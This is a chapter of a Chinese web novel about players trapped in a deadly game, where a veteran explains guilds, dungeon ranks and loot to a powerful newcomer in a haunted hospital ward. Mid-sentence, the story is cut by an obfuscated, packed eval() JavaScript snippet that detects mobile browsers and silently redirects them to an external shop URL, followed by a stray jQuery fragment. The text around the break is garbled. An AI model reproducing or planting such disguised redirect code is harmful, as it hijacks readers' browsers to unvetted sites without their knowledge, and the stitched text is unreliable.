“这个游戏没人知道存在了多久。”有了大佬的首肯,胖子深吸一口气开始讲述。
游戏里面的玩家来来去去已经换了不知道多少,目前积分最高的玩家听说是十年前进来的,但据他所说他并不是第一批,而那时候的游戏环境比现在更恶劣。
后来主系统升级后出现了协会模式,玩家们可以自行加入或者创建协会,协会成员需要定期上交部分积分,排行榜前十的协会成员进副本前可在协会商店八折购买商品。
协会商店内的物品和系统积分商店售卖物品一致,只是协会更加优惠,此外协会商店还拥有随机物品模式,随机模式下每天更新一次商店物品,有概率刷出技能卡,而积分商店则只有固定商品。
故而在游戏中如果想要获得技能卡,除了在通关副本完成任务后给予的通关宝箱中有概率获得外便只能通过协会随机商店获取。
目前游戏内前十的协会从上到下顺序依次为:白羽、赤星、断空、青衍、云浪、飞雪、狂沙、烽火、惊世、凤舞。
飞雪、凤舞两个协会的会长都是女子,在这两个协会中女子也比男子更多,游戏中的女玩家若是要加入协会一般也会从这两个协会中选择其一加入。
当然在这个游戏中也不是一定要加入协会,除了十大协会外还有许多不知名姓的小协会。
胖子名叫朱戎,目前已经经历了五个副本,这是他的第六个副本。
副本共有五种难度,从S–D依次递减,每次完成副本任务后系统会根据玩家的任务完成情况结算积分以及游戏经验,运气好的玩家还能获得数量不定的通关宝箱。
玩家的等级满级为100级,每升一级需要的经验依次无规律递增。
不同等级的副本可以获得的经验值也有所不同,如果想要快速升级最快的办法其实是去打高级副本,但低等级玩家是否能在高等级副本中活下来暂且不提,玩家们可参与的副本难度也是需要解锁才能进入的。
例如每参加十个D级副本可以拥有参加C级副本的资格,想要参加S级副本只需要通过S以下的几个难度的副本各十个。
当然也不是没有例外,比如你每个副本表现很出色,获得的经验值够多,让你提前升级,在超过一定等级后便也能拥有参与高级副本的资格。
目前游戏内等级最高的玩家等级为54级,据说达到100级就可以返回现实,但至今还没有人成功的先例,以往不是没有比这个等级高,但毫无疑问他们都没能满级名字就变成了灰色。
每通关一个副本,有概率获得数量不等的通关宝箱,开启后有概率从里面获得积分、道具卡以及技能卡。
其中道具卡和技能卡也同样有着S–D级以及永久与一次性的区别。
换句话说就是通关宝箱能让你一夜变富,但也可能颗粒无收,这就是一个完全看脸的东西。
朱戎便是那群还未加入协会的玩家中的一个,而和他们同一个副本的瘦高个则名叫庞如,是排名第七的烽火协会的新成员,目前据他所知已经经历过四个副本了,这是他的第五个副本,也是他进入协会后的第一个副本,所以他非常重视。
说是这个协会,也就是这副本基本上都是新人,他们这些有过几次经验,对游戏有所了解的玩家们基本上都不愿意和烽火的打交道。
只是有时候无奈之下也会合作,毕竟他们虽然行事作风不太行,但战斗力还是不错。
如果有足够的实力保证自己不会成为那个被牺牲的人一起行动也未尝不可,如果这个副本没有遇到元黎,朱戎原本就是这么打算的。
都是老玩家,他也有一些自己的底牌,比起一群新人当然是两个老玩家一起搭伙更容易完成任务,当然现在不同了。
在这个副本里有着元黎这样的大佬,能有更高的生存率谁会选择吃力不讨好的活,他又不是什么不识相的人。
大佬和普通人的差距不用多说,只看这短短的几个小时双方的情况就已经很清楚了,看看庞如那群狼狈逃窜的人的情况,再对比一下自己的,还能站在这里放松一会儿,朱戎觉得自己真的很幸运。
“嗯。”听完朱戎的科普,对这个游戏已经有些了解的元黎点点头。
“嗡!”
大门传来一阵轻微的动静,元黎和朱戎两人不约而同的望去,可能是见他们迟迟不动,原本不再动作的大门可能是又找回了自信,大门又逐渐以肉眼能看见的速度开始修复。
眼见着病房大门修复,直至看不出一丝原本残破的痕迹元黎都没有丝毫的动作,只是他没有动作,但并不代表就这么结束,病房大门在修复结束后“咔”的一声,已经修复好的病房大门主动的打开了一条缝。
朱戎:“???”这门这么人性化吗?有朝一日,他居然能在一道门身上看见狗腿二字是如何演绎的。
如果大门能够听见朱戎的心声,它高低都得为自己反驳两句,你当它想吗?可是它要是不打开这门,怕是这位狠人进出还得继续踹。
它真的没有那么多能量来修复啊!放过孩子吧!
也许是因为病房大门这一幕太过戏剧化让朱戎脱离了来自元黎带来的安全感范围,终于注意到了他们所处的这间病房内的情况。
虽然整间屋子除了诡异的大门外并无其他异常出现,但不排除是他们还没触发危险的可能性。
除此外大佬的病友也安静的坐在另一张病床上,毫无动静,安静得就像是一个假人一样。
朱戎不确定对方的情况,看了元黎一眼,内心犹豫了片刻,小心的移动靠近想看个究竟,但最后他发现就算他站在了对方的面前也没有丝毫的反应。
见他看了半天也没摸着头脑,元黎懒懒地伸了伸身子,整个人往后一仰,躺在病床上。
“那是个程序机器。”他淡淡的说道。
“!!!”
朱戎转头震惊的看了看他,随后立马将脑袋转向机器人,思索间甚至大胆的伸手去捏了捏对方的胳膊,果然是一手的金属质感。
“这……居然真的是机器?!”他还没遇见过人工智能npc呢!
“啊?也不能这么说吧。”元黎看向机器人皱着眉头苦思,“他曾经可能不是,但现在确实是。 ”
方才元黎没特别去在意,还是同病房大门修复机器玩儿游戏的时候他发现。
他的病友机器壳子内的能量和这病房修复似乎同源,或者换种说法,他和病房是一体的,这其中的缘由元黎不清楚,但总归有它存在的理由。
不急,该知道的总会知道,不该知道的,反正他也不怕就是了,大不了来一个砍一个,来一对砍一双,小问题。
“啊?”
朱戎脑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14294192|152140||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
瓜子嗡嗡的,反应了一下,也不知道脑补了什么,瞬间瞪大了眼睛,对着元黎竖起了大拇指。
可怜的npc,你都在他的大佬手底下经历了什么。
不过想想朱戎又觉得似乎很合理,目前为止他见过的npc护士小姐就遭受过来自大佬的毒手,就连这神奇的大门也没逃过被教育的结果。
所以从这个结果来看,这好像是个正常现象。
他的大佬——一位行走的npc被毒打神器。
“大佬,还不知道您怎么称呼?”朱戎看着元黎,眼中闪过一起懊恼。
居然这么久了还不知道大佬叫什么,他真该死啊!
元黎眨眨眼,注视着朱戎不发一言,随后嘴角微扬:“我叫元黎哦。”
“黎哥好!有事您尽管吩咐我去办就行!”朱戎虽然觉得元黎看着自己的神情不太对劲,好像精神状态有点美丽的样子,但还是信誓旦旦的拍着胸脯做着保证。
管这么多!大佬做什么一定是有他的道理的。
“好哦。”元黎满意的点点头,收回自己打量的目光,兴高采烈的回答道。
味道闻起来不错,人也机灵,他喜欢这种食物。
“来。”元黎从床上一下子坐起身来,双腿往床边一放,手用力一撑,“哒”的一声从床上跳下来,潇洒落地。
元黎回头惊喜的望着刚才跳下来的床。
哇,这真是他见过的最高的病床!
朱戎不明所以的走过去,疑惑的看着他。
“告诉你一个秘密。”元黎神秘兮兮的从床头边的抽屉里抽出不久前从机器人病友手中借来的无字天书递给他。
朱戎有些疑惑的接过,打开纸条,满满的十条规则直勾勾的摆放在他的面前。
“这是……规则!”朱戎倒吸一口凉气。
玩儿过一局游戏的玩家都知道,每个副本都有着自己的规则,有些副本会将规则写出来告诉玩家,有些则需要玩家自己探索,并且就算是明晃晃写出来的条规也不一定是可信的。
甚至……比起某些有着真真假假的规则的副本,需要自己探索的副本反而难度会降低许多。
可他若是没记错,这个副本是新手副本,因为玩家中至少就有3个是新人,那么这个副本的难度等级最高也不过是C级,可是C级真的会有真假规则出现吗?
这不是新手村应该有的难度。
“有什么问题吗?”元黎歪了歪脑袋,好奇的视线投向惊疑不定的朱戎。
朱戎咽了咽口水,将副本的隐形惯例告知,元黎眨眨眼若有所思。
哦,这么听起来副本难度好像还挺符合的。
朱戎对此百思不得其解,皱着眉四处翻看着系统面板试图从中找出答案,当他的目光无意间看见元黎时神情一愣,随即似乎想到什么一般移开视线,停下继续查找线索的手,看着个人面板随口扯了一个借口。
“不过这个副本是个新的,谁也没来过,也不好说是不是游戏改了难度。”
听见朱戎的话,元黎有些意外的目光投向他,见着他脸上那幅平静但肯定的神色眉梢微挑。
“说不定是这样。”他嘴角微微勾起,并没有反驳。
朱戎看着他关闭了个人面板也跟着笑笑:“当然是这样。”
不然还能是怎样呢?反正他不知道。